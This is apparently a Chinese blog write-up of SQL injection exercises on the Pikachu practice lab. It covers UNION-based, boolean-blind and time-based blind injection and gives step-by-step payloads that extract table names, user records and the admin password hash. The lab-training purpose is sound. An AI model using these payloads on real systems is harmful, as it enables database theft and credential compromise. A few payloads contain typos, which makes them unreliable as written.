Pikachu | SQL-inject

数字型(post)注入

post型传参是在请求体里,遂抓包使用repeater配置payload:

payload:探测目标查询语句放回的列数:

1 union select 1,2

payload:查数据库名

1 union select 1,database()

payload:查库成员表

1 union select 1,group_concat(table_name) from information_schema.tables where column_name='pikachu'

payload:查users子表

1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

payload:查数据

id=1 union select username,password from users

密码使用了MD5。

字符型(get)注入

查询真是存在用户lili验证字符型get注入:

复制代码
//报错
lili' and 1=2-- -
&submit=%E6%9F%A5%E8%AF%A2

//查询成功
lili' and 1=1-- -
&submit=%E6%9F%A5%E8%AF%A2

payload:

?name=lili' order by 2-- -

...后续步骤同上。

搜索型注入

试错:

根据报错,闭合方式探测

复制代码
//报错
?name=lili%' and 1=2-- -

//正常
?name=lili%' and 1=1-- -

?name=lili%' union select 1,2,3-- -

xx型注入

试错:

应该是:')闭合,

payload:

复制代码
?name=lili') order by 2-- -

...

Insert/update/delete/http header注入后期补充


布尔盲注

布尔盲注只有布尔值回显,可以利用暴力猜解,

先盲猜闭合方式:

复制代码
//成功
lili' and 1=1 -- -

//查询失败
lili' and 1=2 -- -

猜解回显列数:方法同猜解数据库名。

数据库-名长度碰撞猜解payload:

?name=lili' and length(database())=1 -- -

因为布尔盲注其实都是正常返回200,我们这个时候需要的正常的回显,也就是回显your id,我们筛选关键字your id:

得到数据库名长度为7。

数据库-名碰撞猜解payload:

?name=lili' and substr(database(),1,1)='p'-- -

lili' and substr(database(),2,1)='p'-- -

...依次尝试:

lili' and substr(database(),7,1)='p'-- -

最后一个字母是u。即:pikachu

库成员表-表数量猜解payload:

?name=lili' and (SELECT COUNT(*) FROM information_schema.TABLES WHERE TABLE_schema='pikachu' AND TABLE_type='base TABLE') = 1-- -

得知数据库下有5个表。

库成员表-表名长度猜解payload:

?name=lili' and length(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)=1 -- -

*limit 0,1,定位第一张表。

*limit 1,1,定位第二张表。

*limit 2,1,定位第三张表。

*limit 3,1,定位第四张表。

*limit 4,1,定位第五张表。

循环以此即可查出所有表名的长度。

库成员表-表名猜解payload:

?name=lili' and substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),1,1)='u'-- -

对Payload 1排序后是users。

users表-字段(列)数量payload:

方法1:单个猜解

?name=lili' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users') = 1 --

方法2:批量猜解

?name=lili' and exists(select * from information_schema.columns where table_scgema='pikachu' and table_name='users' and ordinal_position=1) -- -

取得user下存在四个字段。

user表-字段(列)名长度paylaod:

?name=lili' and exists(select * from information_schema.columns where table_schema='pikachu' and table_name='users' and ordinal_position=1 and length(column_name)=2) -- -

列的次序和列的字段值长度同时猜解得到:列1:2个字符、列2:8个字符、列3:8个字符、列4:5个字符。

users表-字段名猜解payload:

方法1:单个payload猜解

?name=lili' and exists(select * from information_schema.columns where table_schema='pikachu' and table_name='users' and ordinal_position=1 and substr(column_name, 1, 1)='i') -- -

第一个字段值为:id,此为方法1。

方法2:多个payload同时猜解

也可以对4个列,substr(),字符同时配置paylaod猜解:

可以看出所有字段名。

方法3:对常用字段碰撞猜解

?name=lili' and exists(select * from information_schema.columns where table_schema='pikachu' and table_name='users' and column_name='username') -- -

比较考验字典的payload。否则会有遗漏。

方法4:简易payload

?name=lili' and EXISTS(select username from users) -- -

各方法有利有弊。

users表-字段值(id字段)猜解payload:

?name=lili' and exists(select * from users where id=3) -- -

id最高到三,可以说明存在三个用户。

users表-敏感admin字段值(username字段)猜解payload:

?name=lili' and exists(select * from users where username='admin') -- -

这里的话就是直接猜解敏感用户了。

users表-敏感admin弱口令(password字段)猜解payload:

靶场密码只做了简单MD5校验,实际情景中不会使用MD5作为加密手段,这里只做模拟。

方法1:MD5碰撞

?name=lili' and (select password from users where username='admin')='123456'-- -

此时获取到密码的MD5值,使用在线MD5工具做彩虹表碰撞:

得到admin密码123456。

时间盲注

前情提要:

目前在无法验证使用Burpsuite猜解的sleep()沉睡谁时间,页面也没有回显,实践不具实际意义。(后期找到方法了会补充。),这里利用浏览器的沉睡效果做原理做个白盒演示。

数据库名-长度碰撞沉睡payload:

?name=lili' and if(length(database())=1,sleep(7),null)-- -

...

?name=lili' and if(length(database())=7,sleep(7),null)-- -

数据库是7个字符。

数据库名-碰撞沉睡payload:

?name=lili' and if(substr(database(),1,1)='p',sleep(7),null)-- -

每个字符位置依次碰撞...

?name=lili' and if(substr(database(),7,1)='u',sleep(7),null)-- -

数据库名:pikachu

数据库表-数量碰撞沉睡payload:

?name=lili' and if((SELECT COUNT(*) FROM information_schema.TABLES WHERE TABLE_schema=database() and table_type='base table' ) = 1,sleep(9),null)-- -

...

?name=lili' and if((SELECT COUNT(*) FROM information_schema.TABLES WHERE TABLE_schema=database() and table_type='base table' ) = 5,sleep(9),null)-- -

存在5张表。

数据库表(字段)-名称长度碰撞碰沉睡payload:

猜解第1/5张表:

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,sleep(10),null) -- -

...

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(11),null) -- -

猜解第2/5张表

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=1,sleep(11),null) -- -

...

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6,sleep(12),null) -- -

猜解第3/5张表

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=1,sleep(11),null) -- -

...

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7,sleep(12),null) -- -

猜解第4/5张表

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=1,sleep(11),null) -- -

...

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,sleep(12),null) -- -

猜解第5/5张表

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 4,1))=1,sleep(11),null) -- -

...

?name=lili' and if(length((select table_name from information_schema.tables where table_schema=database() limit 4,1))=8,sleep(12),null) -- -

表名长度一次为:8、6、7、5、8

数据库-表(字段)名碰撞沉睡payload:

...

猜解表3:

?name=lili' and if(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),1,1)='a',sleep(9),null)-- -

...

?name=lili' and if(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),1,1)='u',sleep(9),null)-- -

表3:users

...

数据库-user表列(字段)数量碰撞沉睡payload:

?name=lili' AND if((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users') = 1,sleep(5),null )-- -

...

?name=lili' AND if((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users') = 4,sleep(5),null )-- -

users表存在4列()字段。

数据库-user表列(字段)数据碰撞沉睡payload:

方法1:表字段的字符猜解

?name=lili' and if(exists(select * from information_schema.columns where table_schema='pikachu' and table_name='users' and ordinal_position=1 and substr(column_name, 1, 1)='i') ,sleep(6),null)-- -

...

?name=lili' and if(exists(select * from information_schema.columns where table_schema='pikachu' and table_name='users' and ordinal_position=1 and substr(column_name, 2, 1)='d') ,sleep(6),null)-- -

...

方法2:表敏感字段的反查猜解

?name=lili' and if(exists(select * from information_schema.columns where table_schema='pikachu' and table_name='users' and column_name)='username',sleep(7),null)-- -

...

最终可以猜解出成员表:id、username、password

数据库-user敏感admin用户存在碰撞沉睡payload:

?name=lili' and if(exists(select * from users where username='admin'),sleep(7),null) -- -

数据库-user敏感admin用户弱口令碰撞沉睡payload:

?name=lili' and if((select password from users where username='admin')=md5('123'), sleep(7), null)-- -

...

?name=lili' and if((select password from users where username='admin')=md5('123456'), sleep(7), null)-- -

得到密码是123456。

宽字节注入

环境报错未复现。

相关推荐
C-20022 小时前
Casdoor 容器部署并实现 JumpServer 对接 CAS
数据库
ChineHe2 小时前
Redis数据类型篇003_详解Lists列表类型及其命令
数据库·redis·缓存
AllData公司负责人2 小时前
AllData数据中台-数据同步平台集成开源项目Seatunnel-Web,完成Mysql到Doris同步流程
数据库·mysql·开源
Mr.Entropy3 小时前
数据库读写分离介绍
数据库
Codeking__3 小时前
Redis的value类型及编码方式介绍——string
数据库·redis·缓存
ShuiShenHuoLe3 小时前
maven配置阿里源
java·数据库·maven
码农爱学习3 小时前
C语言结构体对齐是怎么计算
java·c语言·数据库
小杨同学493 小时前
C 语言实战:堆内存存储字符串 + 多种递归方案计算字符串长度
数据库·后端·算法
小码编匠3 小时前
完美替代 Navicat,一款开源免费、集成了 AIGC 能力的多数据库客户端工具!
数据库·后端·aigc